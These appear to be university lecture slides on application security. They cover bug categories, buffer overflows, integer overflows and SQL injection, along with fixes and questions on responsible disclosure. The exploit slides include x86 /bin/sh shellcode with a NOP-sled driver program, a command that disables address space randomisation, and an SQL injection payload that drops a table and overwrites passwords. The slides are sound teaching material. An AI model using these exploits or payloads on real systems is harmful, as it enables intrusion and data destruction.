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Application Security

Suppose...

• ... protocol design is secure.

• ... cryptographic primitives are secure.

• ... users / key is secure.

• ... operating system / network is secure.

• ... hardware is secure.

But what about the 1.5 MLOC in your application?
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What is a Security Bug?

A bug that allows...

• ... arbitrary code execution

• ... bypassing data access restrictions

• ... denial of service to legitimate users

• ... unexpected resource consumption
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What is a Security Bug?

A bug that allows...

• ... arbitrary code execution

• ... bypassing data access restrictions

• ... denial of service to legitimate users

• ... unexpected resource consumption

⇒ Almost any bug can be a security bug!
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Major Security Bug Categories

• Memory Corruption

• Arithmetic overflows

• Data races

• SQL injection

• Cross-site scripting
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Memory Corruption

• Applies only to certain languages

• Hard to find

• May allow arbitrary code execution
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Arithmetic overflows

• Applies to most languages

• Even harder to find

• Can cause bypassing of access restrictions and DoS

• Unlikely to directly allow arbitrary code execution

• Could be used to trigger memory corruption
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Data races

• Applies only to certain applications

• Easy to find, non-trivial to avoid

• Generally used to corrupt data

• Could be used to trigger memory corruption, but due to
non-determinism can be tricky to exploit
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SQL Injection

• Applies only to certain applications

• Easy to find, often easy to avoid (prepared statements!)

• Used to bypass access restrictions, corrupt data

• Usually impossible to use for non-SQL code execution
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XSS

• Applies only to certain applications

• Easily used on unsuspecting users

• Probably phisher’s favourite

• Sometimes combined with attacks on browser security
itself

• Browser’s sandbox should prevent the worst
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Minor Security Bugs

• Memory leaks

• Socket/file-descriptor leaks

• Excessive CPU consumption

• Excessive disk/IO consumption

• Segmentation faults due to NULL dereference
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Types of Memory Corruption Bugs

• Buffer Overflow

• Double-free

• Use after free

• Missing string termination (strncpy anyone?)

• Use of “uninitialized” data
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Buffer Overflows: The Bug

void func(char *str) {
char buffer[4];
printf("%p\n", &buffer);
strcpy(buffer,str); }

int main(int argc, char** argv) {
func(argv[1]);
printf("This is the next instruction\n");
return 0;

}
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Buffer Overflows: The Exploit (1/5)

• Need to implement exploit code in assembly

⇒ Let the C compiler do it for you!

• gcc -S filename.c

• (gdb) disassemble dup2

• www.metasploit.com shellcode database
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Buffer Overflows: The Exploit (2/5)

Problems that need to be overcome:

• Characters of value 0 in exploit code

⇒ find alternative assembly sequence

• Unknown absolute address of constants

⇒ use reletive CALL with absolute return left on stack)

• Absolute address of exploit code is uncertain

⇒ prefix code with sequence of NOPs
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Buffer Overflows: The Exploit (3/5)

#define BSIZE 48
#define PD (BSIZE + 28)
int main(int argc, char** argv) {
char s[PD+1];
memset(s, 0x90, PD); s[PD] = ’\0’;
((void**)&s[12])[0]=(void*)0xbffff3f0+20;
memcpy(&s[PD - BSIZE], &badness, BSIZE);
execl("vulnerable", "vulnerable", s, NULL);
return 0;

}
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Buffer Overflows: The Exploit (4/5)
static void badness() {
__asm__(

"jmp TARGET \n"
"HOME: \n"
"popl %esi \n\t"
"movl %esi,0x8(%esi) \n\t"
"xorl %eax,%eax \n\t"
"movb %eax,0x7(%esi) \n\t"
"movl %eax,0xc(%esi) \n\t"
"movb $0xb,%al \n\t"
"movl %esi,%ebx \n\t"
"leal 0x8(%esi),%ecx \n\t"
"leal 0xc(%esi),%edx \n\t"
"int $0x80 \n\t"
"xorl %ebx,%ebx \n\t"
"movl %ebx,%eax \n\t"
"inc %eax \n\t"
"int $0x80 \n"
"TARGET: \n"
"call HOME \n\t"
".string \"/bin/sh\""); }
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Buffer Overflows: The Exploit (5/5)

Good candidates for SVR4 calls causing overflows are:

• strcat, strcpy

• sprintf. vsprintf

• scanf (with %s)

• gets
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The Fix: PAX/Linux 2.6

• Randomize start of stack

• Randomize addresses returned by mmap

⇒ Hard to predict offset of code

However, randomization is limited on 32-bit machines!
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Disabling Address Space Randomization

# echo 0 > /proc/sys/kernel/randomize_va_space

You may want to do this if you want to develop simple

buffer overflow exploits on Linux 2.6!

Helpful gdb commands:

• (gdb) si

• (gdb) x/10i $pc
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Circumventing the Fix

• Could be possible to use larger exploit buffer with more
NOPs to increase chances of success

• Can still use overflow to corrupt program data

• Can still use overflow for DoS

• Can still exploit Microsoft systems

⇒ Still a serious security hole!
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Arithmetic Overflow: The Bug

int main(int argc, char ** argv) {
unsigned short s;

for (s=0;s<argc;s++)
printf(argv[s]);

return 0;
}
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Arithmetic Overflow: The Exploit

• Most common are 32-bit integer overflows

• Useful if particular values cause issues, for example,
malloc(0) causes bugs with certain implementations
of malloc

• Loop variables (causing infinite loops / DoS) and
integers used for access permissions are also important
targets

• Does the program validate the range of integers read
from IO and used in computations? Is the range
validation code correct?
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Example

int a = read();
int b = 42;

if ( (a <= 0) ||
(0x7FFFFFFF / a < b) )

abort(); /* invalid input */
int o = a * b;

Is o guaranteed to be positive?
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Arithmetic Overflow: The Fix

• LISP
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SQL Injection: The Bug

$username = $_POST[’username’];
$query = ’INSERT INTO t VALUES(\"’

. $username . ’\")’);
mysql_query($query);
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SQL Injection: The Exploit

wget http://page/?username=’me\");
DROP t;UPDATE auth SET (password=\"’
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SQL Injection: The Fix

s = ’INSERT INTO t VALUES(?)’;
mysql_stmt_prepare(s, stmt)
mysql_stmt_bind_param(stmt, $username)
mysql_stmt_execute(stmt);
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Summary

• Most bugs can be security issues

• Languages and operating systems can help

• Input validation is difficult

• If possible, avoid obtaining security by input validation!
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Questions

?
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Problem

You found a security problem in some software. How do

you go about fixing it...

• If the software is yours?

• If the software is free software?

• If the software is commercial?

• If the software is used by DHS!?
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Problem

You have published software. How do you handle reports

about security problems with your software?
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Problem

Justin becomes a judge on the supreme court.
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Problem

Justin becomes a judge on the supreme court.

• What is constitutionally protected (ethical!?) security

research?

• What is responsible disclosure?

• When do you start holding vendors responsible for

security problems?
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